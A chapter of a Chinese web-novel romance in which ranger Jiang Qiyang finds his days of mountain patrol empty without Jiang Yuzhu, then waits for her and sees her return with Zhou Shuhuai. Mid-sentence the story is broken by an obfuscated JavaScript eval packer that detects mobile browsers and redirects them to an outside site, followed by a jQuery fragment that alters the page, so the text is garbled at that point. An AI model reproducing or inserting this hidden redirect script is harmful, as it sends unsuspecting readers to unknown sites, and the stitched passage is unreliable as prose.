“明天,”姜与烛开口,声音在寂静的夜里显得慵懒,“他们俩在这儿,我就不跟你进山了。”
“……哦。”江祈炀应了一声,心里说不上是松了口气还是有点失落,“好好休息吧,巡山还是消耗体力。”
“正好,你可以清净两天,”姜与烛笑着补充说,“你不会想我吧?”
江祈炀慌忙“啊”一声,说:“你不来我高兴还来不及呢。”
他站在摩托车头的位置,姜与烛本来靠在车尾,现在上前一步,走到他跟前,倚在车身上含着下巴看他。
“是吗?要是我说正好这两天林大爷手痒,让我跟他下棋你心里会不会好受点?”
她总是这样,说话的时候喜欢挑着眉,紧紧盯人的眼神。
脑中响起一阵嗡鸣声,归于平静后江祈炀撇开脸闭了闭眼皮。
耳尖怎么烫烫的。
“那你跟林大爷关系还挺好。”小羊如是说。
姜与烛用鼻音笑了一下,后脚蹬地站直身子,长发随动作从后面扑上来,遮拢流畅的两颌,于是眼睛在黑暗中更惹人。
江祈炀能清晰的看见路灯在她瞳孔的轮廓。
她说:“行了,快回去休息吧。”
“知道了,你——”
话语卡在喉间,因为姜与烛的手正轻搭在他脑袋顶,然后按下去揉了揉,掌心隔着硬挺的发根摸到了心里。
是热的。
上次摸得着急没来得及体验手感,这次她摸了个实在。
姜与烛满足的说:“不错。”
回味后江祈炀卡在嘴里的话似乎变成呛人的胡椒,让他抵住唇咳了好几下。
他咳完立刻抬眼去看姜与烛,罪魁祸首已站在两三步开外的位置,人影轮廓伸手向摩托比了个“请”的动作。
江祈炀不敢多看,抬腿跨上摩托车,引擎的轰鸣声打破了夜的宁静。
他随便冲身后挥了下手,拧动油门,摩托车窜出去之前,让人心虚的语调又轻飘飘的敲停他的动作。
“那天你以为我是要打你?”
江祈炀长腿在地上一蹬,车斜停下来,嗡鸣声渐渐消失,直到周遭恢复宁静,能听到虫鸣。
“我那天也想摸你的头,今天摸到了,手感不错,要继续保持。”
耳朵好热。
不管了,我赶紧走。
嗡鸣声重新响起,几秒钟后尾灯在黑暗中划出一道红色的光弧,很快消失在乡道的尽头。
姜与烛看着他消失的方向,站了一会儿,低声笑“都忘了戴头盔”,才转身走进屋子。
当时江祈炀都快到家了才发现头盔没戴,想了想应该在姜与烛屋里。
那他怎么感觉脸上这么热,甚至确保已经完全离开姜与烛的视线后,他还专门把车停到路边,打开手机闪光灯在镜子里照。
只看了一眼就把手机踹回袋,骑车上路。
所幸社区夜灯不亮,所幸社区穷。
脸也太他妈红了,跟猴屁股似的。
丢人。
接下来的几天,果然如姜与烛所说,她没有再出现在巡护的路上。只有清晨的时候两人会碰个面,姜与烛去晨跑,江祈炀去上班。
对话也只有简单的:
“早上好啊,江公务员。”
“早,去跑步?”
“嗯,下午见。”
“早安小羊。”
“早啊姜小姐。”
“今天去找林老头儿下棋吗?”
“天天去。”
“……早!姜——”
“叫声姐姐听听。”
“拜拜~我巡山去了。”
第四天江祈炀照常背着巡护包,照常走过再熟悉不过的巡护路线,照常查看预设的样点、记录数据、拆除新发现的简易陷阱,偶尔跟蛇类斗争等等……
照例休息的时候,江祈炀仰头环视一圈,山林依旧,鸟鸣啾啾,十年不变的土山路和野草。明明景色都和他认识的一样,可是好像又有哪里不一样。
就是,不得劲儿啊。
会不会是被人陪了几天,矫情了。
不应该啊。
姜与烛跟他巡山的时候心里总七上八下的,要关注她不能受伤,不能随便碰树上的虫,还要时刻警惕她发现盗猎陷阱不告诉他,试图自己拆除。
怎么没人惹麻烦,心里反而空落落的。
眼神扫过脚边沾染泥土的记录平板,往下划拉,已经是下午16:43。
现下剩余的任务够他干到太阳公公回家养老。
那天说的下午见,没有一天能见到。最近有个预设点附近发现一处虫灾,他上报给单位后上头立马派了专家过来。
光是处理虫灾,完成清扫他已经整整陪了三个专家及团队来解决,昨天直到黑灯瞎火才结束。
由于时间太赶,每天疲惫度骤增,那几天江祈炀都把车停在进山口,这边送走工作人员后脚直接骑车回家。
哎,社区那边,应该很热闹吧?
有余朔那个话唠少爷,加上周到体贴的精英男周抒怀,他们和姜与烛是朋友。并且周抒怀还是她的暗恋者,会有说不完的共同话题,做不完的事,她大概不会觉得无聊了。
啧。
江祈炀抓起手边的小石子用力朝前扔,石子砸到树干上恰好是反射弧,石子弹回来,直直砸在他脑门儿。
“哎呦!”
更烦了……
一种莫名的焦躁感,像藤蔓一样悄悄缠绕上来。
江祈炀气急败坏踩了那石子几下,索性背上东西加快巡护节奏,试图用疲惫压下那些纷乱的思绪,但效果甚微。
想了半天,江祈炀总结出一句:你怎么这么贱!
终于,第七天下午。
尽职尽责的江巡护员以惊人的工作质量和速度,比平时更早结束了巡护任务,明天到了他和王小五换巡的日子。
站在回社区的那个斜坡上,他能远远望见社区院子的轮廓,GX和那辆黑色商务车还停在那里,就是位置有点不对劲。
原来GX停在院子正中央,江祈炀的摩托车在一旁,黑色商务在仓库门口的。
今天变成黑色商务在GX旁边,摩托车停在仓库门口。
谁允许你们换位置的?!
先来后到这个道理连土豆都知道。
看来他这个社区的主理人必须得回去转一圈了。
这个理由足够
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16522647|186006||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
充分。江祈炀定了定神,朝着那片属于他的地盘阔步而去。
到地方以后江祈炀气势汹汹冲进院子,他先重重把背包放在桌上上,又重重踏步朝摩托车走几步。
然而没有人回应他。
江祈炀不信邪在门外,超不经意喊:“哎呀,今天终于下班啦。”
……
接受院子空无一人这个事实前,江祈炀在里里外外窗户眺望好几遍,姜与烛确实没在。
他拿出手机,点开备注“姜小姐”的对话框,想发“你在哪里?”,好像有点冒犯;发“你没在社区?”,显得刻意,明知故问。
江祈炀想了想,余光忽然发现!哦,门原来是锁着的。
看来“你门怎么又不锁”这句也淘汰了。
他叹了口气,脱掉沾染林中泥泞的冲锋衣,岔开腿,一屁股坐在门口台阶上。
一个小时后姜与烛才回来。
社区的房屋轮廓被晚霞勾勒得清晰可见,大片田地在夕阳的照射下绿得发黄。
彼时江祈炀就坐在门口,他穿得初见时那件贴身内搭,由于常年健身及工作性质,胳膊上的肌肉将棉质绷紧,勾勒出流畅的线条。
他单手将胳膊支在腿上,手掌托着脑袋睡的,姜与烛能看见他做过造型的侧背,以及挺立的鼻梁。
待高跟鞋清脆的“哒哒”声越靠越近,睡梦中的人有预感似的,睫毛抖了抖。
“醒醒小羊,等很久了?”
江祈炀抬眼,那张极具冲击性的脸正对着,低头俯视他,高高的眉骨在眼眶形成一圈阴影,看不清他的神色。
“你……”他甩了甩已经发麻的胳膊,因睡得太久音色有些沙,“我今天下班早。”
姜与烛今天将长发编成了松散的鱼骨辫,垂在一侧肩头,身上换了件丝质的黑色吊带长裙,外面随意罩了件薄薄的米白色开衫。
“你不冷吗?”江祈炀说。
“不冷。”姜与烛说。
江祈炀正想顺口说“还不是在等你”,然后她身后出现一双胳膊,很熟稔的将外套披在她身上。
姜与烛习以为常,嘴角勾起笑来,然后托着长裙蹲下来看他。
周抒怀也笑着询问:“抱歉让你等这么久,下次小江巡护员等不到就回家吧。”
“没,我是想取东西。”江祈炀随口说。
余光中,周抒怀穿了件浅蓝色的牛津纺衬衫,袖口随意挽到手肘,露出线条流畅的小臂,右手还提着一双有LV标识的白色板鞋。
夕阳将他们的影子拉长,一高一低,一左一右,他的影子在中间,三个影子交织在一起,画面和谐得仿佛一幅精心构图的作品。
这么看他像那两个人的儿子。
江祈炀还没理清杂乱的神识,看着这一幕,感觉这几日的失落感瞬间有了具体的形状。
姜与烛跟周抒怀单独出去玩了,没有余朔跟小刘,并且步行没开车!
江祈炀欻一下站起来,屁股已经没有知觉,走路腿有些迈不开。
“给我开下门吧,我那完东西就走。”他说。
“别啊,既然等到了一起吃个饭吧。”姜与烛穿着高跟鞋不方便,周抒怀伸手扶她的胳膊一起起身。